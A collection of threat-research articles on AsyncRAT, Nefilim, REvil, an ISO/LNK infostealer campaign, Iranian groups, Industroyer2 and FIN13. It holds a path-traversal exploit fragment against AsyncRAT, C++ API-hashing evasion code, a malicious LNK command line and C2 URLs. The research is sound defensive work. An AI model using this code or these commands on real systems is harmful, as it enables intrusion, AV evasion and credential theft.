msgpack.ForcePathObject("File").AsString = "../../cGeoIp.dll";
msgpack.ForcePathObject("Size").AsString = new FileInfo("cGeoIp.dll").Length.ToString();
tempSocket.Send(msgpack.Encode2Bytes());
MsgPack msgpack2 = new MsgPack();
msgpack2.ForcePathObject("Packet").AsString = "socketDownload";
msgpack2.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack2.ForcePathObject("Command").AsString = "save";
msgpack2.ForcePathObject("DWID").AsString = dwid;
msgpack2.ForcePathObject("Name").AsString = "../../cGeoIp.dll";
msgpack2.ForcePathObject("File").LoadFileAsBytes("cGeoIp.dll");
tempSocket.Send(msgpack2.Encode2Bytes());
}
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "socketDownload";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Command").AsString = "pre";
msgpack.ForcePathObject("DWID").AsString = dwid;
msgpack.ForcePathObject("File").AsString = file;
msgpack.ForcePathObject("Size").AsString = new FileInfo(file).Length.ToString();
tempSocket.Send(msgpack.Encode2Bytes());
MsgPack msgpack2 = new MsgPack();
msgpack2.ForcePathObject("Packet").AsString = "socketDownload";
msgpack2.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack2.ForcePathObject("Command").AsString = "save";
msgpack2.ForcePathObject("DWID").AsString = dwid;
msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file);
msgpack2.ForcePathObject("File").LoadFileAsBytes(file);
tempSocket.Send(msgpack2.Encode2Bytes());
}
catch
{
tempSocket?.Dispose();
return;
}
}
```
The AsyncRAT client has the modified `cGeoIp.dll` in the same directory. In order to not raise suspicions, the requested file is also sent, as the server doesn’t keep track of state. |
# An Analysis of the Nefilim Ransomware
Nefilim is among the notable ransomware variants that use double extortion tactics in their campaigns. First discovered in March 2020, Nefilim threatens to release victims’ stolen data to coerce them into paying the ransom. Aside from its use of this tactic, another notable characteristic of Nefilim is its similarity to Nemty; in fact, it is believed to be an evolved version of the older ransomware. We provide a brief analysis of this active ransomware and how to defend systems against it.
## Technical Details
### Initial access
For its initial access, threat actors behind Nefilim make use of various affiliates to spread their malware. These affiliates use various methods. Based on previous attacks, Nefilim has been largely known to reach systems via exposed RDPs. Some affiliates also use other known vulnerabilities for initial access. This is supported by various reports, from which we found the use of the Citrix vulnerability (CVE-2019-19781), an unsecure and brute-force RDP, to enter a system.
Nefilim has also been seen using tools to gather credentials that include Mimikatz, LaZagne, and NirSoft’s NetPass. The stolen credentials are used to reach high-value machines like servers. Once inside a victim system, the ransomware begins to drop and execute its components such as anti-antivirus, exfiltration tools, and finally Nefilim itself.
### Lateral movement on the network
The attackers make use of several legitimate tools for lateral movement. For example, it uses PsExec or Windows Management Instrumentation (WMI) for lateral movement, dropping and executing other components including the ransomware itself. Nefilim has been observed to use a batch file for terminating certain processes and services. It even uses third-party tools like PC Hunter, Process Hacker, and Revo Uninstaller to terminate antivirus-related processes, services, and applications. It also uses AdFind, BloodHound, or SMBTool to identify active directories and/or machines that are connected to the domain.
### Data exfiltration
A notable aspect of recent ransomware variants are their data exfiltration capabilities. As for Nefilim, it has been observed to copy data from servers or shared directories to a local directory and to archive these using 7-Zip. It then uses MEGAsync to exfiltrate this data.
## Defending systems against ransomware
Campaigns that are similar to Nefilim spend a lot of time between the initial breach and the start of serious lateral movement. However, as soon as lateral movement begins, threat actors work quickly. They prioritize moving between hosts and exfiltrating data. Therefore, organizations can consider limiting the number of computers that can be leveraged during a lateral movement phase. This involves solutions such as utilizing two-factor authentication (2FA) wherever they can, implementing application safelisting, and practicing least privilege security.
With regard to defending systems against the threat of Nefilim, best practices still apply. It is best to work on defenses that prevent the lateral movement of similar attacks. Organizations should consider the use of canary file-based monitoring, encryption monitoring, and process killing. Other best practices to review include the following:
- Avoid opening unverified emails or clicking on their embedded links, as these can start the ransomware installation process.
- Back up your important files using the 3-2-1 rule: Create three backup copies on two different file formats, with one of the backups in a separate location.
- Regularly update software, programs, and applications to ensure that your apps are current, with the latest protections from new vulnerabilities.
If you believe that your organization has been affected by this campaign, visit the available Trend Micro solutions that can help detect and mitigate any risks from this campaign.
## Indicators of Compromise (IOCs)
| SHA256 | Detection name |
|--------------------------------------------------------------------------------------------------|------------------------------------|
| 08c7dfde13ade4b13350ae290616d7c2f4a87cbeac9a3886e90a175ee40fb641 | Ransom.Win32.NEFILIM.A |
| 205ddcd3469193139e4b93c8f76ed6bdbbf5108e7bcd51b48753c22ee6202765 | Ransom.Win32.NEFILIM.D |
| 5da71f76b9caea411658b43370af339ca20d419670c755b9c1bfc263b78f07f1 | Ransom.Win32.NEFILIM.D |
| 7a73032ece59af3316c4a64490344ee111e4cb06aaf00b4a96c10adfdd655599 | Ransom.Win32.NEFILIM.C |
| eacbf729bb96cf2eddac62806a555309d08a705f6084dd98c7cf93503927c34f | Ransom.Win32.NEFILIM.G |
| ee9ea85d37aa3a6bdc49a6edf39403d041f2155d724bd0659e6884746ea3a250 | Trojan.Win64.NEFILIM.A |
| f51f128bca4dc6b0aa2355907998758a2e3ac808f14c30eb0b0902f71b04e3d5 | Ransom.Win32.NEFILIM.D |
| fdaefa45c8679a161c6590b8f5bb735c12c9768172f81c930bb68c93a53002f7 | Ransom.Win32.NEFILIM.D |
Nefilim is known for its double extortion capabilities and notable attacks in 2020. We give an overview of its techniques and tools in this entry. |
# Malware Analysis: Part 7 - Yara Rule Example for CRC32
## CRC32 in REvil Ransomware
Hello, cybersecurity enthusiasts and white hackers! This post is the result of my own research on Yara rule for CRC32 hashing and how to use it for malware analysis in practice.
At first, I wanted to focus on the WinAPI hashing method by CRC32 at malware development. But then I decided to see how to create a Yara rule that indicates the use of this algorithm in malware samples. I also consider the implementation of this algorithm in the REvil ransomware.
### CRC32
In short, this is one of the checksum calculation methods. CRC32 (Cyclic Redundancy Check 32) is a type of hashing algorithm used to generate a small, fixed-size checksum value from any data. It is used to detect errors in data stored in memory or transmitted over a network or other communication channel. The checksum is calculated using a polynomial function and is often expressed as a 32-bit hexadecimal number.
In fact, CRC is not a sum, but the result of dividing a certain amount of information by a constant, or rather, the remainder of dividing a message by a constant.
The algorithm of the simplest calculation method is:
1. Initialize a remainder `r` to be `0xFFFFFFFF`.
2. For each byte in the message, do the following:
a. Divide the current remainder `r` by the polynomial `x^8 + x^7 + x^6 + x^4 + x^2 + 1` (0xEDB88320).
b. Store the remainder in an 8-bit register.
c. XOR the 8-bit register with the next byte of the message.
d. Replace the current remainder with the 8-bit register.
3. After the last byte of the message has been processed, the final remainder is the CRC result.
### Practical Example
This algorithm is often used for hashing function names. I used my example from the previous article and just replaced the hashing algorithm to CRC32:
```cpp
/*
* hack.cpp - hashing Win32API functions via CRC32. C++ implementation
* @cocomelonc
*/
#include <windows.h>
#include <stdio.h>
typedef UINT(CALLBACK* fnMessageBoxA)(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);
unsigned int crc32(const char *data, size_t len) {
unsigned int crc_table[256], crc;
for (int i = 0; i < 256; i++) {
crc = i;
for (int j = 0; j < 8; j++) crc = (crc >> 1) ^ (crc & 1 ? 0xEDB88320 : 0);
crc_table[i] = crc;
};
crc = 0xFFFFFFFF;
while (len--) crc = (crc >> 8) ^ crc_table[(crc ^ *data++) & 0xFF];
return crc ^ 0xFFFFFFFF;
}
static LPVOID getAPIAddr(HMODULE h, unsigned int myHash) {
PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h;
PIMAGE_NT_HEADERS img_nt_header = (PIMAGE_NT_HEADERS)((LPBYTE)h + img_dos_header->e_lfanew);
PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)h + img_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD fAddr = (PDWORD)((LPBYTE)h + img_edt->AddressOfFunctions);
PDWORD fNames = (PDWORD)((LPBYTE)h + img_edt->AddressOfNames);
PWORD fOrd = (PWORD)((LPBYTE)h + img_edt->AddressOfNameOrdinals);
for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {
LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]);
if (crc32(pFuncName, strlen(pFuncName)) == myHash) {
printf("successfully found! %s - %x\n", pFuncName, myHash);
return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
}
}
return nullptr;
}
int main() {
HMODULE mod = LoadLibrary("user32.dll");
LPVOID addr = getAPIAddr(mod, 1462590862);
printf("0x%p\n", addr);
fnMessageBoxA myMessageBoxA = (fnMessageBoxA)addr;
myMessageBoxA(NULL, "Meow-meow!", "=^..^=", MB_OK);
return 0;
}
```
As you can see, I just used this constant `0xEDB88320` and also hardcoded the MessageBoxA string:
```python
import zlib
# crc32
def crc32(data):
hash = zlib.crc32(data)
print("0x%08x" % hash)
print(hash)
return hash
crc32(b"MessageBoxA")
```
### Yara Rule
So in the simplest implementation, the Yara rule will look like this:
```yara
rule crc32_hash {
meta:
author = "cocomelonc"
description = "crc32 constants"
strings:
$c = { 2083B8ED }
condition:
$c
}
```
As you can see, we just add the algorithm’s constant for identity.
Let’s check it:
```bash
hexdump -C ./hack.exe | grep "20 83 b8 ed"
```
Run the Yara rule:
```bash
yara -w ./crc32.yar ./hack.exe
```
Despite the fact that this rule may provide a large number of false-positive matches, it is useful to be aware that a sample may have implemented CRC32, since this can speed up malware sample analysis.
### Demo
First of all, compile our “malware”:
```bash
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
```
Run it on the victim’s machine (Windows 10 x64):
```bash
.\hack.exe
```
As you can see, everything worked perfectly!
Let’s upload our “malware” to VirusTotal:
So, 4 of 70 AV engines detect our file as malicious.
This trick is used, for example, by REvil and MailTo ransomwares in the wild.
### Practical Example 2: REvil Ransomware
REvil generates a unique identifier (UID) for the host using the following process. The UID is part of the payment URL referenced in the dropped ransom note:
- Obtains the volume serial number for the system drive.
- Generates a CRC32 hash of the volume serial number using the hard-coded seed value of `0x539`.
- Generates a CRC32 hash of the value returned by the CPUID assembly instruction using the CRC32 hash for the volume serial number as a seed value.
- Appends the volume serial number to the CPUID CRC32 hash.
In the simplest implementation, it looks like this (hack2.cpp):
```cpp
/*
* hack2.cpp - get UID via CRC32 as REvil ransomware. C++ implementation
* @cocomelonc
*/
#include <stdio.h>
#include <windows.h>
#include <intrin.h>
#include <wincrypt.h>
DWORD crc32(DWORD crc, const BYTE *buf, DWORD len) {
DWORD table[256];
DWORD i, j, c;
for (i = 0; i < 256; i++) {
c = i;
for (j = 0; j < 8; j++) {
if (c & 1)
c = 0xEDB88320 ^ (c >> 1);
else
c = c >> 1;
}
table[i] = c;
}
crc = ~crc;
while (len--)
crc = table[(crc ^ *buf++) & 0xFF] ^ (crc >> 8);
return ~crc;
}
int main(void) {
DWORD volumeSerial, cpuidHash, uid, i;
char volumePath[MAX_PATH];
BYTE cpuidData[16];
DWORD cpuidDataSize = sizeof(cpuidData);
DWORD hashBuffer[4];
HCRYPTPROV hCryptProv;
if (!GetVolumeInformation(NULL, NULL, 0, &volumeSerial, NULL, NULL, NULL, 0)) {
printf("failed to get the volume serial number.\n");
return 1;
}
volumeSerial = crc32(0x539, (BYTE *)&volumeSerial, sizeof(volumeSerial));
__cpuid(hashBuffer, 0);
for (i = 0; i < 4; i++)
cpuidData[i] = (BYTE)(hashBuffer[i] & 0xff);
__cpuid(hashBuffer, 1);
for (i = 0; i < 4; i++)
cpuidData[4 + i] = (BYTE)(hashBuffer[i] & 0xff);
cpuidHash = crc32(volumeSerial, cpuidData, cpuidDataSize);
uid = volumeSerial;
uid = (uid << 32) | cpuidHash;
printf("UID: %llx\n", uid);
return 0;
}
```
This implementation calls `GetVolumeInformation` to retrieve the volume serial number for the system drive, `crc32` to build the CRC32 hash, and `__cpuid` to obtain the value returned by the CPUID assembly instruction. The resulting UID is a 64-bit value that combines the serial number of the volume and the CPUID hash.
### Demo 2
Let’s see it in action. Compile it:
```bash
x86_64-w64-mingw32-g++ -O2 hack2.cpp -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
```
Run it on the victim’s machine (Windows 10 x64):
```bash
.\hack2.exe
```
As you can see, everything worked perfectly!
Of course, this is just a “dirty PoC” of part of the REvil ransomware’s logic.
Let’s upload this to VirusTotal:
In this example, 3 of 70 AV engines detect our file as malicious.
Let’s check it via YARA:
```bash
yara -w ./crc32.yar -r ./
```
I hope this post spreads awareness to the blue teamers of this interesting hashing technique and adds a weapon to the red teamers' arsenal. This is a practical case for educational purposes only.
Thanks for your time, happy hacking, and goodbye!
PS. All drawings and screenshots are mine. |
# Information Stealer Campaign Targeting German HR Contacts
**Security Lab**
**May 19, 2020**
## Summary
Hornetsecurity’s Security Lab presents insights into a long-running information stealer campaign. The campaign has been running virtually unchanged since July 22, 2019. Due to the deployed living-off-the-land scripting style malware used in the campaign, the anti-virus detection of the deployed information stealing script remains low. The campaign uses a fake CV file to target German language institutions using email addresses predominantly found as HR contacts on the targeted institutions’ job listings. The detailed analysis of the targeting outlines the social engineering risk that public-facing employees are exposed to.
## Background
The attack starts with an email. The email's language is German, targeting German-speaking recipients. Opening the attachment reveals a file named *lebenslauf* (English: curriculum vitae). After launching what appears to be an image file, the victim is presented with an apparently broken image headlined “Lebenslauf” (English: curriculum vitae). The image file is not broken; the error message is part of the image. In the background, malware named LALALA InfoStealer by SonicWall was downloaded and stole the victim's credentials.
## Technical Analysis
The technical analysis outlines each stage of the infection chain leading to the deployment of the LALALA InfoStealer batch file.
### Email
The attack starts with an email purporting to be written in German. However, it was written by entities not familiar with German orthography. Instead of using the proper German grapheme ß (Eszett), the email uses the visually similar B from the Latin alphabet. The diacritical marks of the German Umlauts are missing, using u instead of ü. Additionally, capitalization of “Lebenslauf” in the email subject is missing. The emails are sent from addresses following the pattern [firstname.][email protected], from the legitimate mail servers of vodafonemail.de, hence passing SPF checks. It is unknown whether the sending accounts have been compromised, as registering a vodafonemail.de email address is free and available to the general public. Overall, 44 different emails have been used across all waves, with 30 different emails used in the latest wave of the campaign.
### ISO File
The attached ISO file contains one LNK file. Windows automatically mounts ISO files and displays their content in the file explorer.
### LNK File
Metadata of the LNK (shell link) file includes:
- **File Name**: lebenslauf_2020_3_20.jpeg.lnk
- **File Attributes**: Archive
- **Target File DOS Name**: cmd.exe
- **Command Line Arguments**: /C "replace /a Lebenslauf_2020_3_20.jpeg.lnk "%temp%"&ren "%temp%\Lebenslauf_2020_3_20.jpeg.lnk" 977gh.bat &start "" /MIN "%TEMP%\977gh.bat"
The LNK file is camouflaged as a JPEG file to the regular user, especially when Windows is set to hide file extensions. When launched, cmd.exe is called with the above-listed command line parameters, executing a batch script.
### LALALA InfoStealer Batch Script (9o0.bat)
The stealer script has a total of 135 lines of code with data stealing, exfiltration, and persistence mechanisms. It uses PowerShell to query the list of installed software from the registry and writes this information to a temporary file. It then uses a combination of PowerShell commands and invocations of sqlite3.exe to steal passwords, cookies, credit card numbers, and history from various browsers and applications. The data is archived and POSTed to a remote server using PowerShell.
### Targeting
The latest observed wave was followed up the next day by a much smaller wave. The German language in the initial emails indicates the campaign targets Germany. OSINT research revealed that the majority of recipient email addresses are or were listed as company contacts for job listings, primarily in the professional services and health services sectors.
## Conclusion and Remediation
Attacks leveraging living-off-the-land techniques via scripting pose a challenge for anti-virus detections. The simplest way to prevent this specific attack vector is by disallowing specific email attachments, such as ISO files. Additionally, Microsoft Outlook can be configured to disallow specific malicious attachments from being opened. Extension hiding should be disabled in the Windows operating system to prevent malware from posing as different file types.
To remove a successful infection, it is not enough to disable the task scheduled by the stealer. Affected systems must be disconnected from the network and forensically analyzed before reconnecting them. All login credentials of the affected user must be changed, and activities since the infection must be reviewed.
Hornetsecurity’s Spam and Malware Protection has already detected the LALALA InfoStealer emails when they first appeared via a generic detection signature.
## Indicators of Compromise (IOCs)
### Hashes
- **SHA256**: 172b416f0574f6c9ba38de478faaf75781ea15b9ad67ebdaa1b9289487c71988
**Filename**: lebenslauf_2020_3_20.iso
**Description**: Malicious ISO attachment
- **SHA256**: 254f722e11b7de73b53fb82d48f89f69639194027f9fc7c3724a640e4ebbf712
**Filename**: lebenslauf_2020_3_20.jpeg.lnk
**Description**: Malicious LNK file contained in ISO
- **SHA256**: 8b147861060fd9d6d90066457c54773cb0fdc65b87c07d4defe7d3cbe389ed37
**Filename**: 9o0.bat
**Description**: LALALA InfoStealer
- **SHA256**: 3bb2d6a27ed46b5b356673264f56b8575880dc45cbcb656da6df74d4a84e1779
**Filename**: lebenslauf_2020_3_20.jpeg
**Description**: CV decoy error image
- **SHA256**: 2e162d331c2475e0ba39cea969e0473896d3ff5e88cc92605ff2e24da3920768
**Filename**: sqlite3.exe
**Description**: SQLite3 binary (legitimate NON MALICIOUS)
### URLs
- hxxp://185.141.27.131/rar.exe
- hxxp://185.141.27.131/9o0.rar
- hxxp://185.141.27.131/firstga990.php (POST computer name and domain)
- hxxp://185.141.27.131/9o0.php (POST credential RAR)
- hxxp://185.141.27.131/gate990.php (download follow-up malware)
### IPs
- 185.141.27.131
### Senders
- [firstname.][email protected]
### Subjects
- [Ll]ebenslauf |
# Iran Cyber Operations Groups
Unsurprisingly, after Russia, US, China, DPRK (North Korea), and EU, here comes the mapping of the offensive cyber operations groups of Iran that have been attributed to a known government entity. Just like in the previous posts, sources and change log are available under the diagram. If you notice anything missing, incorrect information, mistakes or anything like that please let me know to update it accordingly.
**Last update:** 13 January 2022
## Sources
**ChangeLog**
- **Version 2.0 (13 Jan 2022):** Updated MOIS based on US CYBERCOM statement.
- **Version 1.5 (06 May 2021):** Fixed a typo. Added missing “Focus” entries.
- **Version 1.2 (06 May 2021):** Minor fixes (typos, etc.)
- **Version 1.0 (06 May 2021):** First publication.
**Written by** xorl
**May 6, 2021 at 13:00**
**Posted in** threat intelligence
## Responses
1. how did you miss israel. its a major player. please do for it.
*jonathan*
May 16, 2021 at 12:34
2. I only know of IDF Unit 8200 doing offensive cyber operations in Israel and being linked with known APT groups. I have it in my backlog.
*xorl*
May 17, 2021 at 15:17 |
# WHITE PAPER
## Industroyer vs. Industroyer2: Evolution of the IEC 104 Component
### AUTHORS
Giannis Tsaraias
Ivan Speziale
### About Nozomi Networks Labs
Nozomi Networks Labs is dedicated to reducing cyber risk for the world’s industrial and critical infrastructure organizations. Through its cybersecurity research and collaboration with industry and institutions, it helps defend the operational systems that support everyday life. The Labs team conducts investigations into industrial device vulnerabilities and, through a responsible disclosure process, contributes to the publication of advisories by recognized authorities. To help the security community with current threats, they publish timely blogs, research papers, and free tools. The Threat Intelligence and Asset Intelligence services of Nozomi Networks are supplied by ongoing data generated and curated by the Labs team.
## 1. Introduction to Industroyer & Industroyer2
Industroyer2 is the latest evolution of the notorious malware that was first deployed by threat actor Sandworm in Ukraine in 2016. As documented by ESET, this new artifact was used in the context of a broader operation against Ukrainian organizations in 2022. A noteworthy characteristic of Industroyer deployments is the lack of any stealthy measures in the binaries. One plausible hypothesis is that the threat actor, having already compromised the target environment and performed advanced reconnaissance, is not concerned about potential security controls.
The Industroyer artifacts retrieved in 2016 consisted of components targeting multiple industrial control system (ICS) protocols, specifically:
- IEC 60870-5-101
- IEC 60870-5-104
- IEC 61850
- OPC DA
Industroyer2, however, focuses only on IEC 60870-5-104 (IEC 104), which is just an update to the Industroyer component targeting the same protocol. This observation leads us to believe that, depending on the operational requirements, the threat actors’ implementation of these ICS protocols is part of a broader framework of capabilities that is selectively packaged into a specific deliverable.
In this paper, Nozomi Networks Labs analyzes the Operational Technology (OT) capabilities of Industroyer2, discusses the major changes between Industroyer and Industroyer2, and analyzes how the codebase has evolved over time.
## 2. Industroyer & Industroyer2: The Evolving Source Code
### 2.1 Breaking Down the Samples
In this section, we present a series of evidence that collectively and strongly supports the thesis that the two binaries, Industroyer and Industroyer2, were compiled from the same evolving source code. Throughout our analysis, we will refer to the first version of Industroyer as “v1,” which corresponds to sample `7907dd95c1d36cf3dc842a1bd804f0db511a0f68f4b3d382c23a3c974a383cad` (104.dll). We will refer to Industroyer2 as “v2,” which corresponds to sample `d69665f56ddef7ad4e71971f06432e59f1510a7194386e5f0e8926aea7b88e00`.
The syntax of the configuration is the most obvious visual difference between the two versions of the malware. However, this refactor is largely irrelevant for the internal structure of the executables. In both cases, the configuration is normalized into a matching data structure, called `main_config` in our analysis, that is then used throughout the code.
As described by ESET, Industroyer v1 uses a classic INI configuration file that is passed as an argument to the executable.
### 2.2 v2 Station Configuration
The following screenshot shows the first hardcoded station configuration embedded in the analyzed binary of v2. The sample embeds configurations for three different IP addresses in total.
| Property | Acceptable Values | Purpose |
|--------------------------------------------|-------------------|--------------------------------------------------|
| Target IP | IP address | IP of the station to connect to |
| Target port | Port number | Port of the station to connect to |
| ASDU | Integer | Application Service Data Unit address |
| Operation mode | Boolean | 0 (Interaction with hardcoded IOA), 1 (Range mode) |
| Switch for process manipulation | Boolean | 0 (Disable), 1 (Enable) |
| Reserved parameter | Boolean | - |
| Process name | String | Name of the process to be killed |
| Rename | Boolean | 0 (Don't rename), 1 (Rename) |
| Folder name | String | Folder name where the process targeted for killing and renaming is stored |
| Sleep time in minutes | Integer | Initial sleep time, used to add a delay before interacting with a station |
| Sleep time in seconds #1 | Integer | Sleep time to use when Invert SCO/DCO On/Off is set |
| Station index | Integer | Configuration station index to delay |
| Sleep time in seconds #2 | Integer | Sleep time before STOPDT for the previously used station index |
| Initial SCO/DCO On/Off State | Boolean | 0 (Initial state On), 1 (Initial state Off) |
| Invert SCO/DCO On/Off | Boolean | If set, it will interact with each IOA again, with SCO/DCO On/Off inverted |
| IOA count | Integer | Number of IOA following header |
### 2.3 v2 IOA Configuration
An IOA is used to address one specific piece of data within a station. IOA configurations typically differ from station to station. The table below shows the configurable IOA properties.
| Property | Acceptable Values | Purpose |
|--------------------------------------------|-------------------|--------------------------------------------------|
| IOA | Integer | Information Object Address |
| Single/Double command | Boolean | 0 (Double command), 1 (Single command) |
| SCO/DCO Select/Execute | Boolean | 0 (Execute), 1 (Select) |
| SCO/DCO On/Off | Boolean | 0 (Off), 1 (On) |
| Priority | Integer | - |
| Index | Integer | IOA entry index in the configuration list |
### 2.4 v2 Command-line Parameters
While v1 included a separate component to load and launch payloads contained in different Dynamic-link Libraries (DLLs), the v2 sample provides the user with the ability to set certain command-line options. The -o flag can be used to store the execution output log into a file. The -t flag can be used to perform a delayed execution. For example, running the program with -t 10 as an argument at 1:08 PM will cause a time delay of approximately two minutes before the executable spawns its main thread at 1:10 PM.
### 2.5 v2 IEC 104 Interaction
After terminating `PService_Control.exe`, and `PService_PPD.exe` (based on the configuration), the v2 sample begins IEC 104 interaction. The default operation mode (0) set in the station configurations present in our sample produces the following series of commands:
- TESTFR
- STARTDT
- C_IC_NA_1 (100)
- For each IOA in the range start_index → end_index:
- C_SC_NA_1 (45) with SCO Off and Execute
- STOPDT
- TESTFR
- STARTDT
- C_IC_NA_1 (100)
- For each IOA in the range start_index → end_index:
- C_DC_NA_1 (46) with DCO Off and Select
- C_DC_NA_1 (46) with DCO Off and Execute
- STOPDT
### 2.6 Main Thread Spawning
The main thread of both samples contains the code responsible for issuing the malicious IEC 104 packets. In v1, the main thread is spawned from the Crash export, while in v2 the execution starts from the regular PE entry point. In both cases, the configuration is parsed before reaching this stage.
### 2.7 TESTFR Frame Inserted in v2
TESTFR frames in IEC 104 are used between the controlling station and the controlled station to periodically check the status of a connection and eventually detect communication problems. After having established a TCP connection, Industroyer v1 begins emitting STARTDT frames. Industroyer v2, instead, takes the extra step of sending a TESTFR frame.
### 2.8 Start/Stop Data Transfer Activation
The functions responsible for creating and sending STARTDT and STOPDT frames are essentially the same across the two executables. We can spot minor differences in the way dynamic memory is allocated, but the only functional difference is a sleep timeout. In v1, it is customizable through the configuration, and in v2 it is hardcoded to one second for both functions.
### 2.9 Prepare/Send Station Command
The function named in our decompilation as `iec104_prepare_and_send_station_command` is found in both versions of the malware with similar semantics. Nevertheless, we can appreciate how in v2 the function can receive more IEC 104 parameters to properly customize the packet payload.
### 2.10 Use of Streaming SIMD Extensions (SSE) Instructions
Some of the IEC 104 commands are assembled from a bytes template that is hardcoded in the binaries. In v1, these bytes are handled with x86 SSE instructions, while in v2 regular non-SSE instructions are used instead. This is typically due to the threat actor choosing different optimization settings upon compilation.
### 2.11 Parse_packet_and_log Function
The function dubbed `Parse_packet_and_log` used in the malware provides some basic dissection of the packets received from the controlled station in response to the issued IEC 104 commands. We discovered an interesting typo introduced in Industroyer v2 where the STOPDT string is logged rather than the correct STOPDT act. Although this typo does not have functional consequences, it is an interesting artifact that can seldom be found in a refactored codebase.
## 3. Summary
We conducted a comparative analysis of the artifact known as Industroyer2 against the first deployment of the same toolkit. The evidence presented strongly suggests that the threat group is updating the codebase over time to meet operational requirements as they evolve. Additionally, we provided a thorough breakdown of the configuration format used by Industroyer2, illustrating the different options available to customize the behavior of the IEC 104 payload.
## 4. Addendum: YARA Rule for Industroyer2
Below is a YARA rule for Industroyer2:
```yara
// Created by Nozomi Networks Labs
rule industroyer2_nn {
meta:
author = "Nozomi Networks Labs"
name = "Industroyer 2"
description = "Industroyer2 malware targeting power grid components."
actor = "Sandworm"
hash = "D69665F56DDEF7AD4E71971F06432E59F1510A7194386E5F0E8926AEA7B88E00"
strings:
$s1 = "%02d:%lS" wide ascii
$s2 = "PService_PPD.exe" wide ascii
$s3 = "D:\\OIK\\DevCounter" wide ascii
$s4 = "MSTR ->> SLV" fullword wide ascii
$s5 = "MSTR <<- SLV" fullword wide ascii
$s6 = "Current operation : %s"
$s7 = "Switch value: %s"
$s8 = "Unknown APDU format !!!"
$s9 = "Length:%u bytes |"
$s10 = "Sent=x%X | Received=x%X"
$s11 = "ASDU:%u | OA:%u | IOA:%u |"
$s12 = "Cause: %s (x%X) | Telegram type: %s (x%X)"
condition:
5 of them
}
```
## 6. References and Related Reading
1. “Industroyer2: Industroyer reloaded," ESET Research, April 12, 2022.
2. "WIN32/INDUSTROYER: A new threat for industrial control systems," Cherepanov, A., ESET Research, June 12, 2017.
Related Reading:
- "Industroyer2: Nozomi Networks Labs Analyzes the IEC 104 Payload," Nozomi Networks Labs, April 27, 2022.
- "Cyberattack by Sandworm Group (UAC-0082) on Ukrainian energy facilities using malicious programs INDUSTROYER2 and CADDY WIPER (CERT-UA # 4435)," CERT-UA, April 12, 2022. |
# FIN13: A Cybercriminal Threat Actor Focused on Mexico
Since 2017, Mandiant has been tracking FIN13, an industrious and versatile financially motivated threat actor conducting long-term intrusions in Mexico with an activity timeframe stretching back as early as 2016. FIN13's operations have several noticeable differences from current cybercriminal data theft and ransomware extortion trends. Although their operations continue through the present day, in many ways FIN13’s intrusions are like a time capsule of traditional financial cybercrime from days past. Instead of today’s prevalent “smash and grab” ransomware groups, FIN13 takes their time to gather information to perform fraudulent money transfers. Rather than relying heavily on attack frameworks such as Cobalt Strike, the majority of FIN13 intrusions involve heavy use of custom passive backdoors and tools to lurk in environments for the long haul. In this blog post, we describe the notable aspects of FIN13's operations to spotlight a regional cybercriminal ecosystem that deserves more exploration.
## FIN13 Targeting
Since mid-2017, Mandiant has responded to multiple investigations attributed to FIN13. In contrast to other financially motivated actors, FIN13 has highly localized targeting. Over five years of Mandiant intrusion data shows FIN13 operates exclusively against organizations based in Mexico and has specifically targeted large organizations in the financial, retail, and hospitality industries. A review of publicly available financial data shows several of these organizations have annual revenue in the millions to billions in U.S. dollars (1 USD = 21.21 MXN as of December 6, 2021).
FIN13 will thoroughly map a victim’s network, capturing credentials, stealing corporate documents, technical documentation, financial databases, and other files that will support their objective of financial gain through the fraudulent transfer of funds from the victim organization.
## Dwell Time and Operational Lifespan
Mandiant investigations determined that FIN13 had a median dwell time, defined as the duration between the start of a cyber intrusion and it being identified, of 913 days or 2 ½ years. The lengthy dwell time for a financially motivated actor is anomalous and significant for many factors. In the Mandiant M-Trends 2021 report, 52% of compromises had dwell times of less than 30 days, improved from 41% in 2019. The dwell time for ransomware investigations can be measured in days, whereas FIN13 is often present in environments for years to conduct their stealthier operations to reap as much of a reward as they can.
Mandiant clusters threat actor activity from a variety of sources, including first-hand investigations by Mandiant’s Managed Defense and Incident Response teams. In a review of over 850 clusters of financially motivated activity that Mandiant tracks, FIN13 shares a compelling statistic with only one other threat actor: FIN10, the scourge of Canada between 2013 and 2019. A mere 2.6% of the financially motivated threat actors that Mandiant has tracked across multiple intrusions have targeted organizations in only a single country.
When considering the earliest and latest dates of identified activity (“operational lifespan”) for the groups, the data gets interesting. Most of the financially motivated threat clusters Mandiant tracks have an operational lifespan of less than a year. Only ten have an operational lifespan between one and three years and four have a lifespan greater than three years. Of these four, only two of them have operated for over five years: FIN10 and FIN13, which Mandiant considers rare.
FIN13 has a demonstrated ability to remain stealthy in the networks of large, profitable Mexican organizations for a considerable length of time.
## Mandiant Targeted Attack Lifecycle
Targeted attacks typically follow a predictable sequence of events. Establishing a foothold, escalating privileges, conducting internal reconnaissance, moving laterally, maintaining presence, and completing the mission are the major phases of a typical intrusion.
### Establish Foothold
